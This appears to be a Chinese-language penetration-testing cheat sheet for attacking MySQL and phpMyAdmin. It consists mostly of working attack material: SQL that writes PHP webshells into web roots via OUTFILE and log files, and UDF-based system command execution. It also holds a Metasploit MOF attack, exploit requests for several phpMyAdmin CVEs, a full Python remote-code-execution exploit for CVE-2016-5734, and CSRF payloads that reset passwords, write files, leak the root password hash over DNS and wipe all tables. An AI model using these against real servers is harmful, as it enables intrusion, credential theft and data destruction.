readme.php
README
changelog.php
Change
Documetation.html
Documetation.txt
translators.html

show variables like '%datadir%';

select 'test' into outfile '/var/www/$fuzz$/shell.php'；

load data infile "/etc/passwd" into table test;

1.查看数据库表内容获取 有一些cms会保存网站配置文件 或者路径
2.进入后台
3.百度出错信息 zoomeye shadon 搜索error warning
4. @@datadir参数看mysql路径 反猜绝对路径

1.数据库root权限
2.知道网站的物理路径
3.数据库有写权限

show variables like '%secure%';

secure-file-priv特性
secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null ，表示限制mysql 不允许导入|导出
当secure_file_priv的值为/tmp/ ，表示限制mysql 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时，表示不对mysql 的导入|导出做限制
可以在mysql-ini文件中设置其属性

select "<?php phpinfo();?>" INTO OUTFILE  "d:\\phpstudy\\www\\7.php"

set global general_log = "ON";

show variables like 'general%';

set global general_log_file = "C:/phpStudy/PHPTutorial/WWW/404.php";

select "<?php phpinfo();?>";

show variables like '%slow%';

set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';

set GLOBAL slow_query_log=on;

select '<?php phpinfo();?>' from mysql.db where sleep(10);

show variables like %plugin%；// 查看插件目录

select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\l ib\plugin\lib_mysqludf_sys.dll';

create function sys_eval returns string soname "lib_mysqludf_sys.dll";

select * from mysql.func where name = 'sys_eval';   #查看创建的sys_eval函数select sys_eval('whoami');                           #使用系统命令

use exploit/windows/mysql/mysql_mof
set rhost 192.168.1.5
set rport 3306
set password root
set username root
exploit

POST /scripts/setup.php HTTP/1.1 
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded 
Content-Length: 80action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

phpMyAdmin version
4.0.1~4.2.12
PHP version
< 5.3.4

/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00    # 注意改下token值

phpMyAdmin version
4.0.10.16 之前的4.0.x版本
4.4.15.7 之前的 4.4.x版本
4.6.3之前的 4.6.x版本PHP version
4.3.0~5.4.6
Php 5.0 版本以上的将 preg_replace 的 /e修饰符给废弃掉了

#!/usr/bin/env python"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploitDetails: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.CVE: CVE-2016-5734Author: https://twitter.com/iamsecurityrun: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');""""import requests
import argparse
import sys__author__ = "@iamsecurity"if __name__ == '__main__':
   parser = argparse.ArgumentParser()
   parser.add_argument("url", type=str, help="URL with path to PMA")
   parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
   parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
   parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
   parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
   parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
   arguments = parser.parse_args()
   url_to_pma = arguments.url
   uname = arguments.user
   upass = arguments.pwd
   if arguments.dbs:
       db = arguments.dbs
   else:
       db = "test"    token = False    custom_table = False    if arguments.table:
       custom_table = True        table = arguments.table
   else:
       table = "prgpwn"    if arguments.cmd:
       payload = arguments.cmd
   else:
       payload = "system('uname -a');"    size = 32    s = requests.Session()
   # you can manually add proxy support it's very simple ;)    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}    s.verify = False    sql = '''CREATE TABLE `{0}` (      `first` varchar(10) CHARACTER SET utf8 NOT NULL    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));    '''.format(table)   # get_token    resp = s.post(url_to_pma + "/?lang=en", dict(
       pma_username=uname,
       pma_password=upass
   ))
   if resp.status_code is 200:
       token_place = resp.text.find("token=") + 6        token = resp.text[token_place:token_place + 32]
   if token is False:
       print("Cannot get valid authorization token.")
       sys.exit(1)   if custom_table is False:
       data = {
           "is_js_confirmed": "0",
           "db": db,
           "token": token,
           "pos": "0",
           "sql_query": sql,
           "sql_delimiter": ";",
           "show_query": "0",
           "fk_checks": "0",
           "SQL": "Go",
           "ajax_request": "true",
           "ajax_page_request": "true",
       }
       resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
       if resp.status_code == 200:
           if "success" in resp.json():
               if resp.json()["success"] is False:
                   first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
                   error = first[:first.find("</code>")]
                   if "already exists" in error:
                       print(error)
                   else:
                       print("ERROR: " + error)
                       sys.exit(1)
   # build exploit    exploit = {
       "db": db,
       "table": table,
       "token": token,
       "goto": "sql.php",
       "find": "0/e\0",
       "replaceWith": payload,
       "columnIndex": "0",
       "useRegex": "on",
       "submit": "Go",
       "ajax_request": "true"    }
   resp = s.post(
       url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
   )
   if resp.status_code == 200:
       result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
       if len(result):
           print("result: " + result)
           sys.exit(0)
       print(
           "Exploit failed!\n"            "Try to manually set exploit parameters like --table, --database and --token.\n"            "Remember that servers with PHP version greater than 5.4.6"            " is not exploitable, because of warning about null byte in regexp"        )
       sys.exit(1)

cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"

phpMyAdmin version
4.8.0和4.8.1

select '<?php phpinfo();exit;?>'

http://10.1.1.10/index.php?target=db_sql.php%253f/../../../../../../../../var/l ib/php/sessions/sess_*** # *** 为phpMyAdmin的COOKIE值

phpMyAdmin version
4.8.0~4.8.3

CREATE DATABASE foo;CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';

http://10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo

INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_***','plop'; # *** 为phpMyAdmin 的COOKIE值

/phpstudy/PHPTutorial/tmp/tmp

http://10.1.1.10/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[ multi_edit][][]=baz&clause_is_unique=1

phpMyAdmin version
phpMyAdmin 4< 4.9.4
phpMyAdmin 5< 5.0.1
前提：已知一个用户名密码

http://192.168.209.139:8001/server_privileges.php?ajax_requests=true&validate_username=1&username=1%27or%201=1%20--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server

http://192.168.209.139:8001/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server

phpMyAdmin version
<= 4.9.0.1

http://192.168.123.65/phpmyadmin/setup/index.php

phpMyAdmin version
Phpmyadmin:4.7.6  
Phpmyadmin:4.7.0:Beta1  
Phpmyadmin:4.7.0:Rc1  
Phpmyadmin:4.7.5  
Phpmyadmin:4.7.4

# Exploit Title: phpMyAdmin 4.7.x - Cross-Site Request Forgery
# Date: 2018-08-28
# Exploit Author: VulnSpy
# Vendor Homepage: https://www.phpmyadmin.net/
# Software Link: https://www.phpmyadmin.net/downloads/
# Version: Versions 4.7.x (prior to 4.7.7)
# Tested on: php7 mysql5
# CVE: CVE-2017-1000499# Exploit CSRF - Modifying the password of current user<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" /># Exploit CSRF - Arbitrary File Write<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select
'<?php phpinfo();?>' into outfile '/var/www/html/test.php';"
style="display:none;" /># Exploit CSRF - Data Retrieval over DNSSELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE
user='root' LIMIT 1),'.vulnspy.com\\test'));# Exploit CSRF - Empty All Rows From All Tables<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A"
style="display:none;" />